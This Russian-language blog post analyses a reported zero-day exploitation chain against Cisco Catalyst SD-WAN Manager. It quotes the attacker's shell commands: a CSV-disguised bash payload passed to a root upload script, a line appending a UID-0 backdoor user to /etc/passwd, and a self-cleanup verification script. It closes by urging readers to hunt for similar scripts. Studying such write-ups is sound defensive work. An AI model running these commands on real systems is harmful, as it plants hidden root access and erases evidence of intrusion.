Mandiant поймала живую эксплуатацию zero-day в Cisco Catalyst SD-WAN Manager – той самой консоли управления, что в девичестве звалась vManage и держит control plane целых корпоративных сетей. CVE-2026-20245: аутентифицированное выполнение произвольных команд от root через невинную на вид загрузку «списка арендаторов». Cisco уже выкатила патчи, неизвестный актор уже подчистил за собой следы с хирургической точностью, а мы разберём по командам, почему этот баг – учебник, который стоит держать на столе.
Потому что самое интересное здесь не CVSS и не очередная строчка в advisory. Интересно, где именно живёт дыра. Не в Java-кишках контроллера, не в хитрой десериализации, не в переполнении буфера. Она живёт в одном bash-скрипте, который берёт загруженный пользователем CSV-файл и читает его как код. Многомиллионная SD-WAN-платформа, ферма RBAC, ограниченный Viptela-CLI в роли песочницы, сервисные учётки без root-шелла – и весь этот периметр обнуляет одна непривилегированная по духу мысль разработчика: «а давайте просто исполним содержимое файла, который нам прислали».
Один баг тут ничего не решает – работала цепочка из трёх звеньев. На входе два обхода аутентификации в механизме пиринга контроллеров: CVE-2026-20127 и CVE-2026-20182. Оба позволяют неаутентифицированному удалённому атакующему подцепить «левое» устройство-пир и получить административные привилегии без единого пароля. Так в телеметрии появляются rogue-пиры с адресов вроде 76.92.245[.]217, 45.32.38[.]160, 23.245.7[.]178 и компании – фальшивые vEdge и контроллеры, которым настоящий контроллер почему-то верит на слово. Пиринг в SD-WAN – это доверенная плоскость; пробив её, ты уже внутри control plane, а не снаружи.
Дальше в игру входят admin и vmanage-admin – дефолтные учётки Catalyst SD-WAN. И вот ключевой нюанс, на котором держится вся история: ни одна из них нативно не даёт root-шелл. Атакующий уже «администратор», уже выкачивает конфигурации через /dataservice/system/device/vedges и /dataservice/system/device/controllers, уже видит топологию сети целиком, уже снимает шаблоны устройств – но он заперт в ограниченном Viptela-CLI. Сама архитектура говорит ему: «дальше root нельзя, ты в песочнице». В логах это выглядит буднично: 7 марта в 01:31:48Z первый POST на /j_security_check, через секунду – выгрузка vedges, ещё через секунду – controllers. Разведка по расписанию.
Вот тут и нужен 0day. CVE-2026-20245 – это лестница из песочницы ограниченного CLI прямиком в uid=0.
Привилегированная эскалация выглядит до неприличия буднично – легитимная команда CLI:
request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0
Команда берёт CSV со списком арендаторов и скармливает его обработчику – shell-скрипту vconfd_script_upload_tenant_list.sh, который крутится от root. По задумке Cisco скрипт должен распарсить таблицу и обновить конфигурацию мультитенантности. По факту он не фильтрует содержимое файла и исполняет его. Файл с именем evil_tenant.csv – никакая не таблица арендаторов; это bash-нагрузка, надевшая расширение .csv как маскхалат, чтобы пройти через дверь, помеченную «только данные».
Вот вам и развёрнутый ответ на вечный вопрос «на каком языке писать безопасно». Контроллер написан на Java, обёрнут в Viptela, закрыт ролевой моделью, изолирован ограниченным CLI – а до root доводит shell command injection, древнейший приём индустрии, которому больше лет, чем самому SD-WAN. Граница между «данными» и «кодом» в привилегированной автоматизации стёрта одной строкой, которая доверяет входному файлу. Memory safety рантайма, sandbox CLI, RBAC, отдельные сервисные аккаунты – всё это обходится не эксплойтом на ассемблере и не цепочкой гаджетов, а тем, что глупый glue-скрипт по сути делает eval над тем, что ему прислали. Самый дорогой контур безопасности рушится в самом дешёвом месте – в шелл-обвязке, которую никто не считал атакоспособной.
Полезная нагрузка внутри CSV – образец чистой инженерной работы, а не наколеночный скрипт. Прежде чем что-либо менять, она снимает резервные копии затрагиваемых системных файлов:
cp -a /etc/passwd /home/admin/.orig_passwd;
cp -a /etc/shadow /home/admin/.orig_shadow;
Затем дописывает себе постоянного пользователя с нулевым UID – то есть второго root под другим именем, со штатным шеллом:
echo 'troot:x:0:0:root:/root:/bin/bash' >> /etc/passwd
Плюс парная запись в /etc/shadow с заранее посчитанным хэшем пароля – чтобы под troot можно было залогиниться, а не только переключиться. Отдельная прелесть – учёт состояния: скрипт проверяет, существовал ли /usr/share/viptela/vbond_vsmart_tenant_list до вторжения, и пишет в .orig_..._tenant_list.state метку present или absent:
if [ -e /usr/share/viptela/vbond_vsmart_tenant_list ]; then
echo present > /home/admin/.orig_vbond_vsmart_tenant_list.state;
cp -a /usr/share/viptela/vbond_vsmart_tenant_list /home/admin/.orig_vbond_vsmart_tenant_list;
else
echo absent > /home/admin/.orig_vbond_vsmart_tenant_list.state;
fi
Зачем такая бухгалтерия? Чтобы на этапе отката точно восстановить машину в исходное состояние: файла не было – удалить, файл был – вернуть бит-в-бит копию. Никакого «примерно как было», никакого лишнего артефакта. Бэкап делается не ради надёжности атакующего – а ради того, чтобы после ухода не осталось ни одной лишней запятой. После этого – банальное su из admin в troot, и оператор сидит уже полноценным рутом на контроллере, который держит вашу магистраль.
Дальше начинается то, ради чего стоит читать отчёты Mandiant целиком. Закончив дела, актор не просто rm-ает следы – он их верифицирует. Сначала чистка: удаляется evil_tenant.csv, восстанавливается оригинальный vbond_vsmart_tenant_list (по той самой .state-метке), стираются бэкапы .orig_passwd и .orig_shadow, вычищаются строки troot из passwd и shadow. Затем запускается контрольный скрипт, который проходит по списку артефактов и печатает по каждому PRESENT: или ABSENT: – буквально чек-лист «не забыл ли я что-нибудь после себя»:
for f in /home/admin/evil_tenant.csv /home/admin/.orig_passwd /home/admin/.orig_shadow; do
if [ -e "$f" ]; then echo PRESENT:$f; ls -ld "$f"; else echo ABSENT:$f; fi;
done;
grep -q '^troot:' /etc/passwd && echo PRESENT:troot || echo ABSENT:troot
Имплант эфемерный по дизайну: он поднимает root, делает работу и испаряется, оставляя коробку стерильной. Это не паника новичка, заметающего следы тапком, – это процедура с собственным QA. Тот, кто пишет валидатор для собственной уборки и сверяет состояние файловой системы с зафиксированным эталоном, мыслит как релиз-инженер, а не как скрипт-кидди. Именно поэтому отсутствие troot в системе сейчас ничего не доказывает: имплант мог отработать и самоликвидироваться месяц назад, не оставив следов в текущем срезе ФС.
Здесь по жанру полагается написать «китайская APT» или повесить красивый номер UNC. Так вот: Mandiant этого не делает. В отчёте – голый «threat actor», без страны, без группировки, без флага. Более того, аналитики прямо отмечают, что неясно даже, один ли это актор стоял за rogue-пирингом конца 2025 – января 2026 и за активной фазой в марте 2026; управляющий IP активной стадии – 126.51.108[.]152, и связать его с ранними подключениями жёстко они не берутся.
Эта сдержанность громче любого ярлыка. Когда команда уровня Google Threat Intelligence Group, у которой телеметрии больше, чем у иных государств, отказывается атрибутировать – это значит ровно одно из двух: либо операционная инфраструктура вычищена до стерильности и зацепиться не за что, либо это сознательно не та группа, чьё имя стоит ронять раньше времени. Профиль читается и без бирки: цель – сетевая инфраструктура на уровне control plane, выдержка от первого пира до активной фазы в месяцы, аккуратный self-cleaning имплант с верификацией. Это почерк того, кто пришёл за стратегической, долгоиграющей телеметрией трафика, а не за быстрым выкупом и не за кардингом. Тихие, терпеливые, без жадности – самый неприятный тип соседа в вашей сети.
И главный вывод здесь не про Cisco – он про целый класс. Любой «безопасный» периметр держится ровно до первого привилегированного скрипта, который доверяет входному файлу. Индустрия годами вкладывалась в memory safety, в верификацию рантаймов, в строгий RBAC, в изоляцию через ограниченный CLI – и при этом оставила непрошитой самую старую щель: shell-обвязку, что склеивает «взрослые» компоненты между собой. vconfd_script_upload_tenant_list.sh никто не держал за поверхность атаки. Он не на «опасном» языке, он не торчит в интернет, он всего лишь парсит таблицу. Ровно поэтому он и оказался дверью в root – там, где её не сторожили.
Это рабочий вектор, а не частный баг Cisco. CSV, который на самом деле bash. CSV, XML, YAML, имя файла, поле формы, переменная окружения – любой канал, который система метит как «данные», но в какой-то привилегированной точке скармливает интерпретатору. Confused deputy в чистом виде: процесс с правами root исполняет намерение того, у кого этих прав нет. Обходы ASLR и цепочки гаджетов – это красиво и дорого; а тут – echo в /etc/passwd и второй рут по имени troot. Самые надёжные двери в 2026-м по-прежнему открываются не отмычкой, а тем, что кто-то забыл закавычить переменную.
У каждого вендора есть свои vconfd_*.sh – тихие скрипты от имени root, которые парсят то, что прислал пользователь, и которые никто не считал кодом. Просто не все из них уже попали в отчёт Mandiant. Ищи обвязку, а не рантайм; ищи точку, где «данные» встречаются с привилегией; ищи glue-скрипт между двумя серьёзными системами. Кто найдёт его первым – тот и владеет коробкой.
По материалам исследования Mandiant / Google Threat Intelligence Group.
Автор: hacker@shifry.local